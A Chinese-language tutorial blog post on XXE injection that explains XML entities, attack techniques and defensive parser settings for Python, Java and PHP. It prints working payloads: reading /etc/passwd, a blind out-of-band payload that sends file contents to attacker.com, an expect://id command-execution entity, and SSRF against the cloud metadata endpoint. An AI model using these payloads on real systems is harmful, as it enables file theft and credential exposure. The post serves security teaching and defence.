大概在五年前做某次授权测试目标系统有个不起眼的文件上传接口响应报文里带着一段 XML 结构。当时随手改了改请求体把实体声明换成了外部实体结果直接把服务器上的/etc/passwd读了出来。那是我第一次真正意识到 XXEXML External EntityXML 外部实体注入的破坏力一个被忽略的解析机制就能让几百台内网机器像没关门一样摆在攻击者面前。XXE 属于典型的配置与信任缺陷类漏洞根子在于 XML 解析器默认支持外部实体加载而开发者往往既没有关闭这个特性也没有对输入做任何限制。攻击者只需要在 XML 中构造一句!ENTITY xxe SYSTEM file:///etc/passwd解析器就会乖乖把文件内容拼接进响应里。它不像 SQL 注入那样有统一的语法特征但危害面极广从读取本地文件、发起内网探测到在某些环境下直接执行系统命令都属于 XXE 的攻击范畴。这篇文章会把 XML 语言结构、XXE 的原理、常用攻击手法和防御方案串起来讲一遍。适合刚接触 Web 安全的人建立体系认知也适合开发人员自查代码里是否存在同类问题。全文基于常见实践和公开资料整理所有测试均在授权环境下完成请勿对未授权目标使用。1. 内容整体设计与思路拆解1.1 为什么 XXE 会成为一个独立漏洞类型要理解 XXE得先回到 XML 的设计初衷。XML 是一种标记语言用来描述结构化数据它允许通过文档类型定义DTD来声明实体。实体可以简单理解成“变量”在文档里引用它解析时会被替换成对应的值。这个机制本身没有问题问题出在“外部实体”上——XML 规范允许实体引用外部资源比如本地文件、远程 URL甚至 UNC 路径。大多数编程语言内置的 XML 解析器在默认配置下都会支持外部实体加载。原因很简单历史上“宽松”的配置能减少兼容性问题很多老业务依赖这种能力读取配置文件或引用外部 DTD。于是攻击者只要找到一处能提交 XML 数据的位置构造恶意实体声明解析器就会按照声明去读取资源并展开到文档中。如果解析后的数据被返回给客户端信息就泄露了如果不直接返回也能通过错误信息、时序差异、盲注方式把数据带出来。我在实际测试中遇到最多的场景是JSON 接口里嵌套了一段 XML或者文件上传功能支持导入 XML 格式的配置再或者 SOAP 接口本身就用 XML 通信。开发人员对这些位置的警惕性远低于 SQL 查询和文件上传所以遗漏率很高。1.2 渗透测试视角下的攻击面梳理从攻击者角度看XXE 的目标不是 XML 本身而是托管解析器的服务器。梳理攻击面时需要关注三件事第一入口位置。所有接受 XML 作为输入的接口都要测不要只看Content-Type: application/xml的接口有些 JSON 接口内部会用 XML 解析器处理字段值这种隐蔽入口更容易出问题。第二解析器类型。不同语言和库对实体处理的默认策略不一样。比如 Python 的xml.etree.ElementTree在较新版本中已经禁用外部实体但lxml默认仍然支持。Java 的DocumentBuilderFactory如果没手动关闭external-general-entities风险也很大。测试前得先摸清技术栈才好判断漏洞是否真实存在。第三利用深度。文件读取是最基础的但如果解析器运行在高权限用户下或者目标环境存在特殊协议支持攻击可能升级为命令执行或内网穿透。这也是为什么 XXE 的严重性评级经常被标为 High 甚至 Critical。1.3 学习路线从 XML 结构到防御闭环我认为理解 XXE 有一个清晰的递进路径先掌握 XML 的基本结构知道 DTD、元素、实体分别是什么再看解析器如何处理外部实体明白漏洞产生的机制然后动手构造 Payload区分回显、报错、盲注三种利用形态最后回到防御从解析器配置、依赖库、应用层输入校验三个维度扎紧篱笆。这个闭环走通之后无论是做白盒审计还是黑盒测试都会比较顺手。2. XML 语言结构与外部实体基础2.1 XML 文档的组成要素XML 文档由序言和文档元素组成。序言包括 XML 声明和文档类型定义DTD文档元素则是一个嵌套的树形结构。看一个最典型的例子?xml version1.0 encodingUTF-8? !DOCTYPE note [ !ELEMENT note (to,from,heading,body) !ELEMENT to (#PCDATA) ] note toTove/to fromJani/from headingReminder/heading bodyDont forget me this weekend!/body /note其中!DOCTYPE note [...]声明了根元素的类型内部的!ELEMENT note (to,from,heading,body)定义了子元素结构#PCDATA表示该元素包含可解析的字符数据。这些声明本身不产生漏洞但 DTD 的存在给了攻击者声明恶意实体的空间。实体分为内部实体和外部实体。内部实体直接在 DTD 中定义值比如!ENTITY author 张三引用时用author;即可。外部实体则引用外部资源语法是!ENTITY name SYSTEM URI。URI 可以是file://、http://、ftp://等协议具体取决于解析器支持哪些协议。XXE 的核心就是让外部实体指向攻击者可控的资源。2.2 外部实体的加载机制当解析器遇到外部实体引用时会尝试从 URI 指定的位置获取内容并将该内容插入到文档中替代实体引用。这个行为类似于文本预处理先进行实体展开再解析整个文档结构。关键在于解析器并不区分“内部定义的实体”和“来自外部的实体”只要 DTD 里声明了SYSTEM关键字它就会去读取对应的资源。以文件读取为例?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo解析器加载文档时xxe;会被替换为/etc/passwd的文件内容。如果接口把解析后的 XML 内容以文本形式返回攻击者就能看到完整的文件内容。如果接口不返回解析结果也没关系可以结合错误信息外带数据。这里有个容易被忽略的点很多解析器对file://协议的支持会受平台限制。Linux 上读取/etc/passwd很顺利但 Windows 路径需要用file:///C:/Windows/win.ini。在测试时建议多试几个路径比如file:///etc/hosts、file:///c:/windows/win.ini往往能更快定位平台类型。2.3 参数实体与通用实体的区别DTD 中还存在参数实体语法是!ENTITY % name value引用方式是%name;。参数实体只能在 DTD 内部使用不能出现在文档内容中。这个特性在盲注 XXE 时特别有用因为攻击者可以用参数实体加载外部 DTD再借助外部 DTD 中的实体定义把数据带出来。通用实体和参数实体的区别可以用一个表格概括类型声明语法引用方式使用位置内部通用实体!ENTITY name valuename;文档内容外部通用实体!ENTITY name SYSTEM URIname;文档内容内部参数实体!ENTITY % name value%name;DTD 内部外部参数实体!ENTITY % name SYSTEM URI%name;DTD 内部攻击者通常用通用实体做回显型 XXE用参数实体做盲注型 XXE。理解这个区别后后面看 Payload 就不会晕。3. 核心攻击手法与利用场景3.1 回显型直接读取文件内容回显型 XXE 是最理想的形态因为攻击者能直接看到解析结果。构造 Payload 时只需要让外部实体指向目标文件然后在 XML 文档内容中引用该实体。接口返回的响应里如果包含文件内容漏洞即确认。?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY x SYSTEM file:///etc/passwd ] rootx;/root测试时要注意编码问题。如果目标文件是二进制内容或者包含不适合 XML 解析的字符解析器可能会报错。实战中优先读取文本类文件如/etc/passwd、/etc/hostname、Web 应用配置文件等。Windows 环境下C:\Windows\System32\drivers\etc\hosts也是很好的目标。有些接口会做一层简单的过滤比如检查请求体中是否包含关键字。这种情况可以尝试编码绕过但更可靠的方式是先摸清解析器的具体实现再针对性构造。3.2 盲注型报错外带与 OOB 数据外传当接口不回显解析结果时就需要利用盲注技巧。第一种思路是报错外带通过构造错误的 XML让解析器把读取到的文件内容输出到错误信息中。典型的 Payload 如下?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil; ] roottest/root这段 Payload 使用了嵌套实体和外部参数实体。%file;读取文件内容%eval;定义一个新的参数实体该实体的 URI 中带上了%file;的值最终%exfil;触发向攻击者服务器发起请求。攻击者这边只需要起一个 HTTP 服务日志里就能看到带外数据。这种利用方式要求目标服务器能访问外网或者内网中攻击者可控的服务器。如果目标出网受限可以考虑用ftp://或者dict://协议做数据外带不过成功率受网络环境影响比较大。3.3 SSRF 与内网探测XXE 不仅能读文件还能让服务器发起任意 URL 请求形成 SSRF服务端请求伪造。将外部实体的 URL 指向内网地址比如http://127.0.0.1:8080/admin如果接口把响应内容返回攻击者就能借此访问内网服务如果回显不完整也可以通过响应时间差或错误信息判断端口是否开放。另一种更隐蔽的方式是借助http://协议访问云服务器内部元数据接口。一些平台的元数据地址是固定 IP例如http://169.254.169.254/latest/meta-data/。通过 XXE 请求这个地址可能拿到临时凭证等敏感信息。测试时是否包含这块内容要严格遵循授权范围不要越界。SSRF 和文件读取经常叠加使用先读取本机文件确认平台再通过内网探测扩大战果。但每一步都必须控制风险避免对内部系统造成不可逆影响。3.4 命令执行的几种特殊场景XXE 直接命令执行比较少见通常需要解析器支持某些特定协议或存在配套组件。有一个经典场景是 PHP 环境下的expect://协议如果 PHP 的 XML 解析器启用了 expect 扩展可以这样构造?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM expect://id ] rootxxe;/root另一个场景是 Java 环境下通过jar://协议触发本地文件处理或者配合反序列化链实现更深入的利用。这些利用方式依赖环境测试时要先确认目标语言和解析器类型没有必要盲目尝试。3.5 利用流程与 Payload 组织实际渗透测试时我习惯按这个顺序推进第一步确认入口。找所有接收 XML 的接口包括抓包中看到的Content-Type: application/xml以及 JSON 字段内嵌 XML 的场景。第二步探测解析器是否处理外部实体。发送一个最小化探测 Payload判断响应是否出现外部资源内容。第三步分情况利用。回显型直接读文件盲注型先搭建外带通道SSRF 场景则逐步扩大探测范围。第四步验证影响面。评估能否从文件读取升级到代码执行或内网横向但这个环节需要明确授权边界和时间窗口。组织 Payload 时建议保持 XML 结构完整。很多解析器对格式敏感少一个闭合标签就会直接报错导致测试中断。4. 防御手法与安全编码4.1 关闭外部实体加载最直接的修复防御 XXE 最有效的手段是禁用外部实体。不同语言的解析器有不同的配置方式以下列出常见的几种Python 中lxml库需要显式禁用from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree etree.fromstring(xml_data, parserparser)Java 中标准做法是设置DocumentBuilderFactory的特性DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);PHP 中可以在加载前调用libxml_disable_entity_loader(true)或者使用libxml选项$xml simplexml_load_string($data, SimpleXMLElement, LIBXML_NONET | LIBXML_NOENT);这里有两个容易踩的坑。一是只关了外部通用实体但忘了关外部参数实体二是只做代码层配置却忽略了依赖库内部可能还有一层解析器。建议配置完之后用自动化测试脚本扫一遍确认所有解析路径都已收紧。4.2 输入校验与输出过滤除了关闭外部实体还需要在应用层增加防线。输入校验方面最稳妥的做法是直接拒绝含有 DTD 声明的 XML 请求。因为正常业务场景下大部分应用根本不需要 DTD。如果产品确实需要 DTD那就优先选择安全的解析器配置而不是依赖输入过滤。输出过滤主要用于防止敏感信息泄露。即使解析器被意外绕过响应中也应该对文件路径、内部 IP、系统用户等信息做脱敏。实际操作中很多业务接口会把解析后的数据原样返回这是 XXE 从“存在但不可见”变成“严重泄露”的关键因素。4.3 禁用危险协议与限制出网很多 XXE 利用依赖file://、http://、ftp://等协议。如果解析器允许自定义协议解析器可以只注册安全协议。像 Java 中自定义 XMLReader 时可以检查XMLConstants.ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA属性将访问权限限制为空字符串从而禁止外部资源访问。对于服务器自身还需要在网络层限制出网访问。XXE 盲注和数据外带必须依赖目标服务器向外部发起请求如果服务器只能访问必要的内部服务和少数白名单域名攻击者即使发现了漏洞也很难把数据带出去。这个思路类似于纵深防御不把鸡蛋放在同一个篮子里。4.4 安全测试与自动化扫描防御不能停留在修漏洞上还得建立持续检测机制。团队在研发流程里可以加入依赖库的漏洞检查比如使用社区维护的组件扫描工具及时发现 XML 解析器相关的 CVE。更重要的是在测试阶段加入 XXE 专项用例直接把探测 Payload 写入自动化用例中防止以后代码改动时把外部实体加载又带回来。测试用例可以覆盖这几个方向DTD 声明是否被拒绝、外部通用实体是否被加载、外部参数实体是否被加载、file://协议是否可用、http://协议是否可用。每一条都对应明确的预期结果避免测试用例只是走个过场。5. 常见问题与排查技巧实录5.1 为什么 Payload 构造正确却没有任何回显这个问题出现的频率最高。排查时先确认接口是否真的解析了 XML而不是把请求体当普通字符串处理。可以提交一个格式错误的 XML如果接口报错并返回了解析异常信息说明 XML 确实被解析如果接口返回 200 且没有任何变化就需要检查 Content-Type 是否匹配。另一个原因是解析器默认忽略了外部实体。很多新版本的解析器已经把外部实体加载设为默认关闭此时即使 DTD 里声明了外部实体也不会被加载。遇到这种情况可以试试把Content-Type改成application/xml或者尝试不同的解析入口有些业务接口存在多套解析逻辑。5.2 盲注时外带通道搭建失败盲注型 XXE 对外带通道的依赖很强。常见问题是目标服务器解析 URL 时对特殊字符敏感比如、#可能引发 URL 编码问题。建议外带参数值统一做 Base64 编码并且使用短域名或 IP 地址避免 DNS 解析问题。还有一种情况是目标服务器只能访问内网。此时需要调整思路寻找内网中可控的 HTTP 服务作为数据接收端但注意不要越权操作其他系统。一般来说如果外带失败优先检查目标服务器到外部的连通性再检查 Payload 中的实体嵌套是否正确。5.3 自动化扫描工具报了一堆 XXE但人工验证全是误报扫描器通常通过发送预设 Payload 并匹配响应特征来判定漏洞。误报的根源在于它无法判断解析器是否真的执行了实体替换。人工验证时不要光看响应中包含某个关键词还要确认这个关键词是否来自我们构造的实体引用。最稳的验证方法是使用随机字符串作为实体内容比如定义!ENTITY xxe SYSTEM http://internal-test.example/然后观察 DNS 记录或 HTTP 日志中是否出现我们独有的标记。这样才能确认是真实触发而不是响应模板里本来就带有的字符串。5.4 修复后如何回归验证修复后的回归测试同样重要。我见过不少团队改了代码但配置没生效或者只改了某个入口其他入口仍然存在漏洞。回归测试建议覆盖所有已知的 XML 输入点重新跑一遍探测 Payload确认外部实体加载已经被关闭。如果修复方式是在代码层添加过滤器还要测试绕过场景。比如攻击者可能在 XML 声明中使用编码方式绕过过滤此时需要在测试用例中增加编码变体确保过滤器真正覆盖所有输入形式。回归测试通过后最好把用例固化到 CI 流程里防止未来退化。6. 从漏洞到修复的实战复盘拿我之前参与的一个模拟项目举例。某后台管理系统支持用户导入 XML 格式的报告当时冷门功能关注度低开发直接把 XML 文件丢给解析器处理没有做任何限制。测试人员在发现上传功能后随手提交了一个包含外部实体的请求结果成功读取了服务器上的配置信息其中包含数据库连接字符串。问题本身修复不难难的是部门里有多个业务系统都调用了同一个 XML 解析工具类。我们统一修改了工具类的解析参数同时对外发布了一份内部安全编码规范要求所有涉及 XML 解析的新代码必须使用安全配置模板。修复后对全量接口做了一轮自动化扫描确认没有遗漏。这个案例说明XXE 的修复不只是改一行代码更要在公共组件层面收口。项目组有必要建立一个“解析器安全配置清单”把开启外部实体、允许 DTD 声明这类高风险选项明确标记为禁止项。我个人在实际操作中的体会是XXE 的防御重点永远在解析器配置。任何黑名单和过滤都可能被绕过只有从根源上关闭外部实体加载才能保证体系性地安全。建议大家在写完代码后主动拿着测试 Payload 打一遍自己的接口这个习惯比任何安全通告都管用。
阅读完成 · 觉得有帮助?